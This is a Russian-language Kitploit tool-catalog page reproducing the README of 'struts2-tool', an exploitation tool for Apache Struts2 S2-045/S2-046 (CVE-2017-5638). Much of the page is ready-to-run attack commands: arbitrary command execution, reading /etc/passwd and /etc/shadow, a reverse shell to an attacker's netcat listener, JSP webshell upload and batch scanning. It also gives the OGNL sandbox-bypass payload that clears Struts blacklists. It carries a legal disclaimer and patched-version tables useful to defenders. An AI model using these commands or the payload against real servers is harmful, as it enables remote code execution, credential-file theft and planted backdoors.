Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 инструмент обнаружения и эксплуатации уязвимости | Kitploit
Инструменты/GitHubGitHub/gu-007/struts2-tool
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 инструмент обнаружения и эксплуатации уязвимости

Репозиторий
14 ч 13 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Инструмент обнаружения и эксплуатации уязвимостей Struts2 (s2tool)

Инструмент обнаружения и эксплуатации уязвимостей S2-045 / S2-046 (CVE-2017-5638) в Struts2, реализованный полностью на Java. Модуль обнаружения охватывает уязвимости S2-045 / S2-046, модуль эксплуатации предоставляет возможности выполнения команд, управления файлами, получения информации, интерактивного Shell, реверс-шелла, загрузки Webshell и другие.

Отказ от ответственности: Данный инструмент предназначен только для авторизованного тестирования безопасности, исследований уязвимостей и учебных целей. Строго запрещено использование в неавторизованных незаконных целях; пользователь несёт всю юридическую ответственность самостоятельно.


Обзор функций

МодульПодкомандаОписание
Обнаружение уязвимостейscanОбнаружение S2-045 / S2-046 (математическая проверка + маркировка UUID-отпечатком)
Массовое сканированиеbatchМассовое обнаружение нескольких целей, вывод сводки и JSON-отчёта
Выполнение командexecВыполнение произвольных системных команд + вывод результата (автоадаптация Win/Linux)
Интерактивный ShellshellНепрерывное взаимодействие, сохранение каталога cd, встроенные команды pwd/webroot/os
Загрузка файловuploadПрямая запись через OGNL (малые файлы) / сегментная запись через команды (большие файлы)
Скачивание файловdownloadСкачивание в кодировке Base64 (безопасно для бинарных данных)
Корневой каталог WebgetpathПолучение физического пути развёртывания веб-приложения
Информация о системеsysinfoИнформация об ОС / пользователе / ядре / рабочем каталоге
Реверс-шеллrevshellОднокомандный реверс-шелл bash / PowerShell
Загрузка WebshellwebshellГенерация и загрузка JSP Webshell (стиль открытого ?CMD=)
Экспорт отчётовscan -rОтчёты JSON / HTML

Функция скачивания может читать произвольные файлы на сервере (например, /etc/shadow), используйте только в авторизованном тестировании.


Быстрый старт

Требования к окружению

  • JDK 8 и выше
  • Maven 3.x (требуется только для сборки; для запуска инструмента установка Maven не нужна)

Сборка (Windows)

root@kitploit:~
:: Выполнить в каталоге проекта
.\build.bat

В PowerShell требуется префикс .\; в cmd можно запускать напрямую build.bat. build.bat отвечает только за сборку и не инициирует никаких сетевых запросов или сканирований. После завершения сборки окно остаётся открытым и переходит в сессию cmd (можно сразу запускать команды инструмента; для закрытия введите exit). Если ваше окружение не может записывать в репозиторий Maven по умолчанию, сначала задайте переменную окружения M2_REPO, указав доступный для записи каталог.

Результат: target\s2tool.jar (fat-jar).

Для Linux/Mac см. build.sh

Примеры использования

root@kitploit:~
# 1. Обнаружение уязвимости
java -jar s2tool.jar scan http://target/action

# 2. Обнаружение + экспорт отчёта JSON/HTML
java -jar s2tool.jar scan http://target/action -r both

# 3. Выполнение команды
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. Интерактивный Shell
java -jar s2tool.jar shell http://target/action

# 5. Получение корневого каталога Web / информации о системе
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. Загрузка / скачивание файлов
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. Однокомандная загрузка Webshell (стиль открытого ?CMD=)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Доступ: http://target/shell.jsp?CMD=whoami

# 8. Реверс-шелл (сначала прослушивание на атакующей машине: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. Массовое сканирование
java -jar s2tool.jar batch targets.txt -r json

Формат файла массовых целей

root@kitploit:~
# Строки комментариев начинаются с # (игнорируются автоматически)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

Технический принцип

S2-045 / S2-046 (CVE-2017-5638)

Диапазон версий из официального объявления (оба уязвимости указаны согласно официальным объявлениям Apache, для оценки пользователем, затронута ли цель):

УязвимостьCVEЗатронутые версии (уязвимые версии)Исправленные версии (версии с патчем)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 или 2.5.10.1 и выше
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 или 2.5.10.1 и выше

Данный инструмент не полагается на определение версии, а напрямую определяет наличие уязвимости по результатам проверки Payload, поскольку определение версии ненадёжно (многие сайты скрывают номер версии). Таблица выше приведена только для справки при ручной оценке, она не влияет на логику обнаружения инструмента.

Для S2-046 инструмент поддерживает как путь обнаружения через нулевой байт в filename, так и путь через Content-Type с той же первопричиной.

Принцип уязвимости:

  • Одинаковая точка срабатывания: при ошибке разбора парсером Jakarta Multipart содержимое управляемого пользователем заголовка запроса (S2-045: Content-Type; S2-046: filename в Content-Disposition) подставляется в сообщение об ошибке, которое затем обрабатывается механизмом интернационализированного текста Struts2 (TextParseUtil.translateVariables) и подвергается вычислению OGNL
  • Разные способы эксплуатации: S2-045 срабатывает через недопустимый Content-Type; S2-046 срабатывает через нулевой байт в filename (требуется commons-fileupload 1.3.3+) или через чрезмерно большой Content-Length (требуется конфигурация jakarta-stream)

Обход песочницы

root@kitploit:~
(#nike='multipart/form-data')                       // Маскировка Content-Type, прохождение проверки contains
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // Получение MemberAccess с максимальными правами
(#_memberAccess?(#_memberAccess=#dm):               // Низкие версии: прямая замена
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // Очистка чёрного списка имён пакетов
   (#ognlUtil.getExcludedClasses().clear())          // Очистка чёрного списка классов
   (#context.setMemberAccess(#dm))))                 // Высокие версии: замена после очистки чёрного списка

Проверено на практике: на Struts2 2.3.30 сокращённая версия (только setMemberAccess) не может обойти песочницу, необходимо использовать полную версию (включая путь очистки чёрного списка через OgnlUtil).

Стратегия обнаружения

ТехникаПринципОписание
Математическая проверкаOGNL выполняет 88888888-23333+1222, наличие 88866777 в ответе означает уязвимостьПубличная формула POC
Маркировка UUID-отпечаткомВнедрение случайного UUID и вывод его в тело ответаВысокая точность, не зависит от задержек сети
Обнаружение по задержкеРазница времени Thread.sleep(6000) (только для S2-045 как запасной вариант без вывода)Порог >3.6s

Правила определения: попадание по математической проверке или маркировке отпечатком → подтверждено наличие; только попадание по задержке → предположительно наличие; нет попаданий → отсутствует.


Структура проекта

root@kitploit:~
struts2-vuln-tool/
├── pom.xml                        # Сборка Maven (shade для fat-jar)
├── build.bat / build.sh           # Скрипты сборки (Windows проверен / Linux для справки)
├── src/main/java/com/s2tool/
│   ├── Launcher.java              # Главная точка входа (CLI Picocli)
│   ├── core/                      # Основной движок: HTTP-клиент / конструирование Payload / анализ ответов / разбор целей
│   ├── plugins/                   # Архитектура плагинов уязвимостей (точки расширения)
│   │   └── impl/                  #   Плагины обнаружения S2_045 / S2_046
│   ├── modules/                   # Функциональные модули: планировщик обнаружения / распознавание отпечатков / выполнение команд / управление файлами / Shell и др.
│   ├── report/                    # Генерация отчётов (консоль / JSON / HTML)
│   └── utils/                     # Инструменты логирования
├── src/main/resources/            # Конфигурация логирования / справочник Payload
└── src/test/                      # Модульные тесты JUnit

Справочные материалы

Статьи о принципе уязвимости и технике:

  • Официальное объявление Apache Struts S2-045 (CVE-2017-5638)
  • Анализ OGNL-инъекции S2-045 и тройного обхода песочницы (сообщество разработчиков Tencent Cloud)(справочник Payload)
  • Анализ принципа уязвимости S2-046 (Anquanke)

Справочные проекты с открытым исходным кодом (при разработке данного проекта использовались идеи и Payload из следующих репозиториев):

  • Flyteas/Struts2-045-Exp —— Шаблоны Payload для выполнения команд / получения корневого каталога Web / записи файлов JSP
  • Z-0ne/ScanS2-045-Nmap —— Идея массового обнаружения, способ маркировки характеристик ответа
  • abc123info/Struts2VulsScanTools —— Общая концепция проектирования инструмента обнаружения множества уязвимостей (разделение обнаружения и эксплуатации)

Лицензия

Только для авторизованного тестирования безопасности и учебно-исследовательского использования.

Строго запрещено использование в неавторизованных незаконных целях; пользователь несёт всю юридическую ответственность самостоятельно.

Скачать инструмент